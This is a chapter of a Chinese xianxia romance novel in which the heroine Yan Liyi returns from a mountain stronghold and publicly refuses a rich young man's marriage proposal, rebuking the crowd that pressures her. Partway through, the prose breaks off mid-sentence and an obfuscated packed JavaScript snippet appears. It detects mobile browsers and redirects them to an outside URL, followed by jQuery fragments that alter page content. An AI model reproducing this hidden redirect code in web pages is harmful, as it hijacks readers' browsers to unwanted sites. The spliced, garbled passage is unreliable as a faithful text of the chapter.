39. 提亲

作品:《雪落时黎光涟漪

    晴空当日,飞鸟鸣叫,炊烟袅袅。


    燕黎漪他们已经在山寨待了半个月,与则无双的交易确定下来了,但他们还没决定是否要立刻回城,或是劫完柳落华再回城接祝游和慈冠英。


    “没关系啊,慢慢想吧。”杨瑞雪道。


    今日有点热,他的衣着又恢复以往的张扬,上身依旧只用松绿色的软烟罗围在肩上,下身腰衣的几块布料并不相接,由条条金链挂着堪堪挂在胯上,露出精壮的大腿。


    燕黎漪和他一同坐在土堆上,远视着正在练武的其他人,道:“上次听你说,苍羽楼是为了继续修道所建的,它是怎么避开灵誓的?”


    “避不开的,”杨瑞雪道,“苍羽楼只是一个介质,只要我还在管辖,灵誓就一定会发动。”


    他继续解释道:“灵誓在散去我的修为,苍羽楼的强大又在补上,我的修为就在这之间保持了微妙的平衡,我要承受的,就只是灵誓的疼痛。”


    燕黎漪听着他的话,陷入沉思。


    杨瑞雪的苍生道旨在救苍生,而她的无情道旨在护苍生,那……她要不要也建一个势力?


    “我们以前是不是见过?”


    杨瑞雪的声音将她拉回神,燕黎漪思考片刻,道:“……没有吧?”


    其实她也觉得杨瑞雪眼熟,像是在很久之前就见过,可怎么也想不起,就像是在梦里相见。


    杨瑞雪道:“那可能是我记错了吧。”


    记忆中那抹身影真的像极了燕黎漪,但他记不清那人的面容了。


    两人的视线在空中交织,不知名的情感在瞳孔轻颤间发酵,燕黎漪在气氛开始发烫之前扭开了头。


    “在聊什么呢?”


    花曲殇蹦蹦跳跳地走过来,一屁股坐在燕黎漪身边。


    “天下大势。”燕黎漪笑道。


    花曲殇倾身,问:“前几日又见你晋升了,现在修为如何啦?”


    “元婴八段。”


    “喂,”花曲殇撅起嘴,凑近她,“你进入山寨前还是元婴一段吧?怎么晋升得这么快?”


    燕黎漪打着哈哈:“这只是在恢复啦,所以比较快。”


    花曲殇叹了口气:“真羡慕啊,我在金丹六段已经停留六年多了,也不知道何时能突破。”


    “修炼可急不得。”杨瑞雪把带在身上的糖果递给她们。


    花曲殇拿了一颗,拆开含入口中,含糊道:“我只是想快点进步,回去看望奶奶的时候给她涨涨面子。”


    燕黎漪记得她说过,她是被奶奶抚养大的,奶奶吃了很多苦才把她送入清风书院。


    她也足够努力,在他们离开凉国时,她已经用自己攒的钱给奶奶建了一座大房子。


    离别时,奶奶还像以前一样,从破旧的棉布里取出存的铜钱和她爱吃的鲜花酥,颤颤巍巍地递给她。


    花曲殇想到这里,鼻尖微微发酸,但她不是喜欢伤春悲秋的人。她站起身,拍拍衣袍,对燕黎漪道:“来陪我练练吧。”


    “好啊。”


    一白一粉的身影交织在树影中,雷系灵技和土系灵技碰撞的爆炸声,逐渐吸引其他人的视线。


    纪端一走神,就被修罗一拳打在了脸上,最后求助则无双才得以从修罗手下逃离,去凑热闹。


    杨瑞雪托着脸看她们打斗,时不时提醒两句,手腕突然间传来一道与灵誓不同的疼痛。


    他低头看去,白净的手腕上一条独立的符文变了字样,看清上面的内容,却让他第一次失了态。


    所有人眼睁睁看着他把手抚上一旁的树干,轻轻用力,树干裂开一道缝隙,然后——折断了。


    杨瑞雪意识到自己的失控,讪笑着收回手朝他们走去。


    燕黎漪收了势,问他:“发生了什么?”


    “我们得回城了。”杨瑞雪咬牙,呼吸几次才道,“祝游传信来说,柳归忆来向你提亲。”


    “提亲?”燕黎漪蹙眉,“我?柳归忆?”


    “嗯,”杨瑞雪脸上罕见地露了凶相,“他想见你,小慈不清醒,祝游此时被他们堵在客栈,只能通过我留下的符箓报信。”


    “现在还是白天,直接回去会被发现,要不要绕路?”


    燕黎漪说着已经找到则无双道别。


    “直接走,我把符箓给叁月,能直接隐去我们的踪迹,接近城门再解开。”


    “好,立刻就走。”


    他们进入城门,才发现事态比他们想的还要严重。


    看戏的人群把道路围得水泄不通,客栈楼下、院内、大堂更是人满为患,柳归忆就在其中捧着花束,期盼着楼梯口出现那个心心念念的身影。


    人群议论纷纷,嘈杂得像热闹的市集,其中也不乏称赞柳归忆赤诚真心的声音,像他这样高调提亲的人属实很少,况且还是有头有脸的富贵人家。


    “燕姑娘,和我见一面吧,我、我是真心想娶你的!”


    他在旁人的怂恿下,羞涩地喊话,手中的鲜花都不及青涩脸庞上透出的红晕耀眼。


    燕黎漪在其他人护着下挤进客栈,站到他身后,淡声道:“我在这。”


    柳归忆闻声回头,眸子闪亮得像盛满星光,他连忙鲜花往前一递,颤着声音大喊道:“燕姑娘!我倾慕你许久了,我想、我想娶你!!”


    他声量之大,在场所有人听得清楚,瞬间爆发出冲顶的、激动的呐喊。


    为他的勇敢和赤诚呐喊,像是初生的雏鸟首次迈出了走向世界的第一步。


    他仿佛是那些人的榜样,耀眼地置身其中,接受他们的赞美、祝福。


    柳归忆被幸福包裹着,晕乎乎地向她更进一步,羞涩的面孔藏不住的喜悦:“我来之前已经同父亲请示过,父亲觉得这是一件双喜临门的好事,婚期就定在和阿姐出嫁的同一日。”


    燕黎漪皱眉,正要开口,又被他滔滔不绝打断:“若是姑娘不乐意一起住在本家,我名下也有很多宅邸,你可以随便选一处喜欢的。”


    柳归忆越说越激动:“若你喜欢浪迹天涯,那我也弃了这些身外之物随你而去。你在的地方就是我向往的地方,我无怨无悔!”


    人群发出激动的喊叫,起哄着让两人接吻定情。纪端翻了白眼,手在剑柄上摩挲,低声嘟囔:“吵死了,都不愿意听人说话,算个屁的真爱。”


    杨瑞雪咬牙的咯吱声传到何婧雪耳朵里,她啧啧摇头,道:“某人要气惨咯。”


    局势逐渐失控,燕黎漪猛地后退一步,声音不大却如雷贯耳:“柳公子,请你自重。我拒绝你的提亲,我不会嫁给你。”


    柳归忆笑容僵住,人群也静下来,似乎没预料到她会如此果断地拒绝。他尴尬地攥紧了花茎,道:“姑娘可是对婚事细节不满


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224447|197560||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    意?可以改的,全凭你心意!”


    燕黎漪再次重申:“我不会嫁给你,柳公子麻烦你尽快离开,人群堵在这里会给店家添麻烦。”


    她面色不虞,眼神凌厉,从始至终都盯着柳归忆的双眼。


    柳归忆知道自己莽撞,也不敢跟她对视,垂眸望着手里的花束,嗫嚅着还想说什么。


    倒是周围人不满意了,开始劝燕黎漪,有甚者还带了威胁的意味。


    “柳家位高权重,你嫁进去是享福的呀!”


    燕黎漪道:“这福气给你,你要不要?”


    “柳公子人这么好,你有什么不满足的呢?”


    燕黎漪道:“什么叫人好,把社会秩序搅得混乱,当众逼迫女子成婚,视道德礼法为死物,这算人好,那看来你们也是一种品行的人。”


    “什么叫逼迫,话不要说得这么难听呀,这是男子当众示爱的表现,这是勇敢的、值得称赞的呀!”


    燕黎漪道:“他当众示爱值得称赞,我当众拒绝就要接受批判,什么道理,你当众尿尿,尿得又高又远,是不是也要夸你?”


    “哎呀!你这小女娃怎么说话的!粗鄙不堪!我们这都是为了你的幸福着想!!”


    燕黎漪道:“你们这些臭男人聚在一起谈论女子的这些那些就不粗鄙?就不卑劣?与其想着插手别人的幸福,不如自己先赚够钱对妻子好点吧!”


    “柳家势大力沉,你在这么多人面前驳了小少爷的面子,当心吃不了兜着走!”


    燕黎漪道:“我一个游历天下的旅人会怕?尽管来,我倒要看看,柳家是不是能凌驾王法之上了?”


    燕黎漪见惯了这种人,争辩不过就会拿权势压人。


    话已至此,柳归忆也无话可说,带着随从灰溜溜离开了。


    人群虽散了,依然能听到一些说她不识好歹的声音。燕黎漪看过去,他们又不敢再说。


    “哈哈哈哈……”纪端一胳膊揽住她的肩,笑声不断,“你说的实在是太对了,你看到那人的脸色没?哈哈、比我吃到辣子时的脸还要难看!哈哈哈哈……”


    “重死了。”燕黎漪弯腰转身,从他臂弯挣脱出来,“上楼吧。”


    祝游在护栏前看热闹看了个尽兴,他们上楼了还没止住笑。


    燕黎漪没想到的是,进了屋,他们都笑倒了。


    纪端和祝游进屋前就笑个不停,进屋后更是毫无遮拦,扶着长孙雨青狂笑,让他也绷不住笑出声。


    何婧雪和花曲殇也笑成一团,一个抱着秦筱竹肩膀,一个抱着她的腰,站都站不住。


    杨瑞雪靠墙畅快地笑着,连念叁月都在转头憋笑。


    燕黎漪自己倒了杯水喝,道:“喂,你们坏掉了吗?有这么好笑吗?”


    “当事人的氛围还是太剑拔弩张了,”花曲殇笑得直不起腰,被秦筱竹一路拖着走到床边,“你不知道,第一个人吃瘪的时候我就想笑了,哈哈哈……”


    “对对对,那脸色比鞋底还黑哈哈哈……”纪端一面笑,一面接话道。


    “但黎漪也没说错,”秦筱竹被两人摇晃着,面色不改道,“要我说,就应该把他们一个揍一顿,省得天天闲得发慌来指手画脚。”


    “这事算过去了,接下来就在城里待着,直到柳落华出嫁那日,”燕黎漪道,“怎么样?”


    “好!”